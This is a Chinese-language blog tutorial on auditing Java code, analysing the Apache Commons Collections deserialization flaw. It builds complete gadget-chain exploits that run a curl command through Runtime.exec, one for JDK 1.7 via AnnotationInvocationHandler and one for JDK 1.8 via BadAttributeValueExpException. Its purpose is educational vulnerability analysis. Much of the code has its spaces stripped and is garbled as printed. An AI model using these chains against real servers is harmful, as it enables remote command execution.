從零開始java代碼審計系列(一)

這是第一篇關於代碼審計的文章,我目前正在看《PHP代碼審計》,書裏面寫的不錯。以後會陸續把我看完之後有意思的知識點或者感受共享給大家。

從php代碼審計到java代碼審計還是有很大不同的,語言特性,漏洞產生的點等等,很多人都是php入門,同樣我也是,但是說實話,java也是必須要掌握的,這裏我選擇分析一些經典的漏洞來熟悉java的代碼審計,如果有理解錯誤的地方,希望得到師傅們的斧正。

Apache Commons Collections反序列化漏洞

首先利用maven進行自動下載下來包,看/org/apache/commons/collections/functors/InvokerTransformer.class

publicObjecttransform(Objectinput){

if(input==null){

returnnull;

}else{

try{

Classcls=input.getClass;

Methodmethod=cls.getMethod(this.iMethodName,this.iParamTypes);

returnmethod.invoke(input,this.iArgs);

}catch(NoSuchMethodExceptionvar5){

thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' does not exist");

}catch(IllegalAccessExceptionvar6){

thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' cannot be accessed");

}catch(InvocationTargetExceptionvar7){

thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' threw an exception",var7);

}

}

}

這個transform方法裏面可以看到有個反射調用return method.invoke(input, this.iArgs);,但是隻有這裏的話顯然並不能RCE

繼續看/org/apache/commons/collections/functors/ChainedTransformer.class

publicObjecttransform(Objectobject){

for(inti=0;i<this.iTransformers.length;++i){

object=this.iTransformers[i].transform(object);

}

returnobject;

}

這裏可以看出來是挨個遍歷transformer,調用其的transform方法然後返回個object,返回的object繼續進入循環,成爲下一次調用的參數,怎麼通過這裏來執行命令呢,來看

publicstaticvoidmain(String[]args)

{

Transformer[]transformers={

newInvokerTransformer("exec",

newClass[]{String.class},

newObject[]{"curl http://127.0.0.1:10000"})

};

TransformertransformerChain=newChainedTransformer(transformers);

transformerChain.transform(Runtime.getRuntime);

}

當傳入transformers後進行

public ChainedTransformer(Transformer[] transformers) {

this.iTransformers = transformers;

}

當傳入InvokerTransformer後

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {

this.iMethodName = methodName;

this.iParamTypes = paramTypes;

this.iArgs = args;

}

這裏都會賦值,然後這裏就會調用到

publicObjecttransform(Objectinput){

if(input==null){

returnnull;

}else{

try{

Classcls=input.getClass;

Methodmethod=cls.getMethod(this.iMethodName,this.iParamTypes);

returnmethod.invoke(input,this.iArgs);

}catch(NoSuchMethodExceptionvar5){

thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' does not exist");

}catch(IllegalAccessExceptionvar6){

thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' cannot be accessed");

}catch(InvocationTargetExceptionvar7){

thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' threw an exception",var7);

}

}

}

return method.invoke(Runtime.getRuntime, new Object[] {"curl http://127.0.0.1:10000"});

執行命令,但是這是我們構造出來的,環境中不可能有transformerChain.transform(Runtime.getRuntime);

這樣的操作,我們可以在/org/apache/commons/collections/functors/ConstantTransformer.class找到

public ConstantTransformer(Object constantToReturn) {

this.iConstant = constantToReturn;

}

public Object transform(Object input) {

return this.iConstant;

}

傳入了個Object對象,然後transform方法原樣返回,看代碼

importorg.apache.commons.collections.Transformer;

importorg.apache.commons.collections.functors.InvokerTransformer;

importorg.apache.commons.collections.functors.ChainedTransformer;

importorg.apache.commons.collections.functors.ConstantTransformer;

importjava.lang.reflect.InvocationTargetException;

importjava.lang.reflect.Method;

publicclasstest{

publicstaticvoidmain(String[]args)

{

Transformer[]transformers={

newConstantTransformer(Runtime.getRuntime),

newInvokerTransformer("exec",

newClass[]{String.class},

newObject[]{"curl http://127.0.0.1:10000"})

};

TransformertransformerChain=newtest2(transformers);

transformerChain.transform("aa");

}

}

classtest2implementsTransformer{

privatefinalTransformer[]iTransformers;

publictest2(Transformer[]transformers){this.iTransformers=transformers;}

publicObjecttransform(Objectobject){

for(inti=0;i<this.iTransformers.length;++i){

System.out.println(object.getClass);

object=this.iTransformers[i].transform(object);

}

returnobject;

}

}

這裏我將ChainedTransformer類重寫了一些,方便觀察調試。

因爲在ConstantTransformer中,調用transform方法時不管輸入什麼都不會影響返回,所以,隨意輸入即可。

那麼能否直接這樣構造進行序列化呢,編寫代碼試試

importorg.apache.commons.collections.Transformer;

importorg.apache.commons.collections.functors.InvokerTransformer;

importorg.apache.commons.collections.functors.ChainedTransformer;

importorg.apache.commons.collections.functors.ConstantTransformer;

importjava.io.*;

importjava.lang.reflect.InvocationTargetException;

importjava.lang.reflect.Method;

publicclasstest{

publicstaticvoidmain(String[]args)

{

Transformer[]transformers={

newConstantTransformer(Runtime.getRuntime),

newInvokerTransformer("exec",

newClass[]{String.class},

newObject[]{"curl http://127.0.0.1:10000"})

};

TransformertransformerChain=newtest2(transformers);

try{

Filef=newFile("expobject");

ObjectOutputStreamout=newObjectOutputStream(newFileOutputStream(f));

out.writeObject(transformerChain);

out.flush;

out.close;

}catch(IOExceptione){

e.printStackTrace;

}

try{

FileInputStreamf=newFileInputStream("expobject");

ObjectInputStreamoin=newObjectInputStream(f);

Transformerexpobject=(Transformer)oin.readObject;

expobject.transform("cc");

System.out.println(expobject.getClass);

}

catch(FileNotFoundExceptione){

e.printStackTrace;

}catch(ClassNotFoundExceptione){

e.printStackTrace;

}catch(IOExceptione){

e.printStackTrace;

}

}

}

classtest2implementsTransformer,Serializable{

privatefinalTransformer[]iTransformers;

publictest2(Transformer[]transformers){this.iTransformers=transformers;}

publicObjecttransform(Objectobject){

for(inti=0;i<this.iTransformers.length;++i){

System.out.println(object.getClass);

object=this.iTransformers[i].transform(object);

}

returnobject;

}

}

Runtime不允許序列化,那麼我們繼續修改

importorg.apache.commons.collections.Transformer;

importorg.apache.commons.collections.functors.InvokerTransformer;

importorg.apache.commons.collections.functors.ChainedTransformer;

importorg.apache.commons.collections.functors.ConstantTransformer;

importjava.io.*;

importjava.lang.reflect.InvocationTargetException;

importjava.lang.reflect.Method;

publicclasstest{

publicstaticvoidmain(String[]args)

{

Transformer[]transformers={

newConstantTransformer(Runtime.class),

newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),

newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),

newInvokerTransformer("exec",

newClass[]{String.class},

newObject[]{"curl http://127.0.0.1:10000"})

};

TransformertransformerChain=newtest2(transformers);

try{

Filef=newFile("expobject");

ObjectOutputStreamout=newObjectOutputStream(newFileOutputStream(f));

out.writeObject(transformerChain);

out.flush;

out.close;

}catch(IOExceptione){

e.printStackTrace;

}

try{

FileInputStreamf=newFileInputStream("expobject");

ObjectInputStreamoin=newObjectInputStream(f);

Transformerexpobject=(Transformer)oin.readObject;

expobject.transform("cc");

System.out.println(expobject.getClass);

}

catch(FileNotFoundExceptione){

e.printStackTrace;

}catch(ClassNotFoundExceptione){

e.printStackTrace;

}catch(IOExceptione){

e.printStackTrace;

}

}

}

classtest2implementsTransformer,Serializable{

privatefinalTransformer[]iTransformers;

publictest2(Transformer[]transformers){this.iTransformers=transformers;}

publicObjecttransform(Objectobject){

for(inti=0;i<this.iTransformers.length;++i){

System.out.println(object.getClass);

object=this.iTransformers[i].transform(object);

}

returnobject;

}

}

整個調用鏈是

((Runtime) Runtime.class.getMethod("getRuntime").invoke).exec("curl http://127.0.0.1:10000")

簡單整理下調用,不然不是很好理解

object = ConstantTransformer.transform("cc");

public Object transform(Object input) {

return Runtime.class;

}

object = InvokerTransformer.transform(Runtime.class);

Class cls = Runtime.class.getClass;

Method method = cls.getMethod("getMethod", this.iParamTypes);

return method.invoke("Runtime.class", "getRuntime");

object = InvokerTransformer.transform(Runtime.class.getMethod("getRuntime"));

Class cls = Runtime.class.getMethod("getRuntime").getMethod("getRuntime").getClass;

Method method = cls.getMethod("invoke", this.iParamTypes);

return method.invoke(Runtime.class.getMethod("getRuntime"), "getRuntime");

object = InvokerTransformer.transform(Runtime.class.getMethod("getRuntime").invoke);

Class cls = Runtime.class.getMethod("getRuntime").invoke.getMethod("getRuntime").getClass;

Method method = cls.getMethod("exec", this.iParamTypes);

return method.invoke(Runtime.class.getMethod("getRuntime").invoke, "curl http://127.0.0.1:10000");

代碼執行部分已經分析的差不多了,但是哪裏有合適的構造點呢,根據網上的,我們來分析一下

攻擊鏈(一)

我們來看/org/apache/commons/collections/map/TransformedMap.class

protected Object transformValue(Object object) {

return this.valueTransformer == null ? object : this.valueTransformer.transform(object);

}

valueTransformer可控即可利用我們上面的調用鏈,

protectedTransformedMap(Mapmap,TransformerkeyTransformer,TransformervalueTransformer){

super(map);

this.keyTransformer=keyTransformer;

this.valueTransformer=valueTransformer;

}

當我們初始化的時候是可以控制的,怎麼觸發呢,繼續看

public Object put(Object key, Object value) {

key = this.transformKey(key);

value = this.transformValue(value);

return this.getMap.put(key, value);

}

當進入put方法的時候會觸發,根據上面的調用鏈我們之後value是可以任意值的,修改代碼

publicstaticvoidmain(String[]args)

{

Transformer[]transformers={

newConstantTransformer(Runtime.class),

newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),

newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),

newInvokerTransformer("exec",

newClass[]{String.class},

newObject[]{"curl http://127.0.0.1:10000"})

};

TransformertransformerChain=newChainedTransformer(transformers);

Mapmap=newHashMap;

Maptransformedmap=TransformedMap.decorate(map,null,transformerChain);

transformedmap.put("1","2");

這樣我們即可進行命令執行。

然後我們要想實現反序列化RCE還需要找個重寫readObject的地方,而且還需要有對Map的操作。

但是我並沒有找到有對map執行put的操作

這裏還有一處可以實現一樣的效果,這裏的實現原理跟put那是一樣的

protectedObjectcheckSetValue(Objectvalue){

returnthis.valueTransformer.transform(value);

}

什麼時候會調用到checkSetValue

在它所繼承的父類AbstractInputCheckedMapDecorator中

static class MapEntry extends AbstractMapEntryDecorator {

private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {

super(entry);

this.parent = parent;

}

public Object setValue(Object value) {

value = this.parent.checkSetValue(value);

return super.entry.setValue(value);

}

}

有個MapEntry的內部類,這裏面實現了setValue,並且會觸發checkSetValue,然後我們需要找一個readObject中有對map執行setValue的操作。

在jdk小於1.7的時候/reflect/annotation/AnnotationInvocationHandler.class中,readObject中有對map的修改功能,這裏我下載了jdk1.7來看下

privatevoidreadObject(java.io.ObjectInputStreams)

throwsjava.io.IOException,ClassNotFoundException{

s.defaultReadObject;

// Check to make sure that types have not evolved incompatibly

AnnotationTypeannotationType=null;

try{

annotationType=AnnotationType.getInstance(type);

}catch(IllegalArgumentExceptione){

// Class is no longer an annotation type; all bets are off

return;

}

Map<String,Class<?>>memberTypes=annotationType.memberTypes;

for(Map.Entry<String,Object>memberValue:memberValues.entrySet){

Stringname=memberValue.getKey;

Class<?>memberType=memberTypes.get(name);

if(memberType!=null){// i.e. member still exists

Objectvalue=memberValue.getValue;

if(!(memberType.isInstance(value)||

valueinstanceofExceptionProxy)){

memberValue.setValue(

newAnnotationTypeMismatchExceptionProxy(

value.getClass+"["+value+"]").setMember(

annotationType.members.get(name)));

}

}

}

我們先看下payload觸發的調用堆棧

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.map.HashedMap;

import org.apache.commons.collections.map.TransformedMap;

import java.io.*;

import java.util.HashMap;

import java.lang.reflect.Constructor;

import java.util.Map;

import java.lang.reflect.InvocationTargetException;

import java.lang.reflect.Method;

public class test implements Serializable{

public static void main(String[] args) throws Exception

{

Transformer[] transformers = {

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),

new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),

new InvokerTransformer("exec",

new Class[] {String.class },

new Object[] {"curl http://127.0.0.1:10000"})

};

Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap;

map.put("value", "2");

Map transformedmap = TransformedMap.decorate(map, null, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);

cons.setAccessible(true);

Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);

ByteArrayOutputStream exp = new ByteArrayOutputStream;

ObjectOutputStream oos = new ObjectOutputStream(exp);

oos.writeObject(ins);

oos.flush;

oos.close;

ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray);

ObjectInputStream ois = new ObjectInputStream(out);

Object obj = (Object) ois.readObject;

}

}

可以看到通過構造payload將構造的map成功傳到var2,繼續跟到readObject來看一下

首先是獲取了java.lang.annotation.Retention的實例,然後跟進到memberTypes方法

會返回一個map,繼續往下走到Iterator var4 = this.memberValues.entrySet.iterator;

this.memberValues=TransformedMap對象,然後調用其父類的entrySet方法

通過這裏我們可以知道爲什麼key一定要爲valuevar7這個變量獲取到java.lang.annotation.RetentionPolicy

然後是判斷兩個是否是實例的判斷,然後進入到

然後這裏就調用到了

static class MapEntry extends AbstractMapEntryDecorator {

private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {

super(entry);

this.parent = parent;

}

public Object setValue(Object value) {

value = this.parent.checkSetValue(value);

return super.entry.setValue(value);

}

}

進入checkSetValue,也就是可以觸發的地方,來看

攻擊鏈一種的觸發操作在jdk1.8是不存在的,那麼我們來分析下jdk1.8中的攻擊鏈,

transform可控的地方,

public Object get(Object key) {

if (!super.map.containsKey(key)) {

Object value = this.factory.transform(key);

super.map.put(key, value);

return value;

} else {

return super.map.get(key);

}

}

首先,map中如果不包含這個key那麼就可以進入transform,並且可以看到factory也是我們可控的

protected LazyMap(Map map, Transformer factory) {

super(map);

if (factory == null) {

throw new IllegalArgumentException("Factory must not be null");

} else {

this.factory = factory;

}

}

factory爲transformerChain對象即可觸發,key的值沒啥影響

那麼什麼時候會調用get方法呢,可以找到/org/apache/commons/collections/keyvalue/TiedMapEntry.class

public Object getValue {

return this.map.get(this.key);

}

public String toString {

return this.getKey + "=" + this.getValue;

}

在toString方法中會調用,那麼java中的toString什麼時候調用呢

這裏的toString方法的作用其實跟php的是差不多的

現在我們我還差一步,就是哪裏可以觸發這個toString進而觸發getValue呢

來看/javax/management/BadAttributeValueExpException.java中的readObject方法

privatevoidreadObject(ObjectInputStreamois)throwsIOException,ClassNotFoundException{

ObjectInputStream.GetFieldgf=ois.readFields;

ObjectvalObj=gf.get("val",null);

if(valObj==null){

val=null;

}elseif(valObjinstanceofString){

val=valObj;

}elseif(System.getSecurityManager==null

||valObjinstanceofLong

||valObjinstanceofInteger

||valObjinstanceofFloat

||valObjinstanceofDouble

||valObjinstanceofByte

||valObjinstanceofShort

||valObjinstanceofBoolean){

val=valObj.toString;

}else{// the serialized object is from a version without JDK-8019292 fix

val=System.identityHashCode(valObj)+"@"+valObj.getClass.getName;

}

}

setSecurityManager0的操作,也就是說在System.getSecurityManager會返回null,那麼就會觸發toString,然後我們只要讓val個變量的值爲TiedMapEntry對象即可觸發,因爲這裏是個私有變量,所以我們通過反射所有變量來賦值,那麼整個攻擊鏈就構造完成了。

importorg.apache.commons.collections.Transformer;

importorg.apache.commons.collections.functors.InvokerTransformer;

importorg.apache.commons.collections.functors.ChainedTransformer;

importorg.apache.commons.collections.functors.ConstantTransformer;

importorg.apache.commons.collections.map.HashedMap;

importorg.apache.commons.collections.map.TransformedMap;

importjava.io.*;

importjava.util.HashMap;

importorg.apache.commons.collections.map.LazyMap;

importorg.apache.commons.collections.keyvalue.TiedMapEntry;

importjavax.management.BadAttributeValueExpException;

importjava.lang.reflect.Field;

importjava.lang.reflect.Constructor;

importjava.util.Map;

importjava.lang.reflect.InvocationTargetException;

importjava.lang.reflect.Method;

publicclasstestimplementsSerializable{

publicstaticvoidmain(String[]args)throwsException

{

Transformer[]transformers={

newConstantTransformer(Runtime.class),

newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),

newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),

newInvokerTransformer("exec",

newClass[]{String.class},

newObject[]{"curl http://127.0.0.1:10000"})

};

TransformertransformerChain=newChainedTransformer(transformers);

MapinnerMap=newHashMap;

MaplazyMap=LazyMap.decorate(innerMap,transformerChain);

TiedMapEntryentry=newTiedMapEntry(lazyMap,"foo");

BadAttributeValueExpExceptionins=newBadAttributeValueExpException(null);

Fieldvalfield=ins.getClass.getDeclaredField("val");

valfield.setAccessible(true);

valfield.set(ins,entry);

ByteArrayOutputStreamexp=newByteArrayOutputStream;

ObjectOutputStreamoos=newObjectOutputStream(exp);

oos.writeObject(ins);

oos.flush;

oos.close;

ByteArrayInputStreamout=newByteArrayInputStream(exp.toByteArray);

ObjectInputStreamois=newObjectInputStream(out);

Objectobj=(Object)ois.readObject;

ois.close;

}

}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章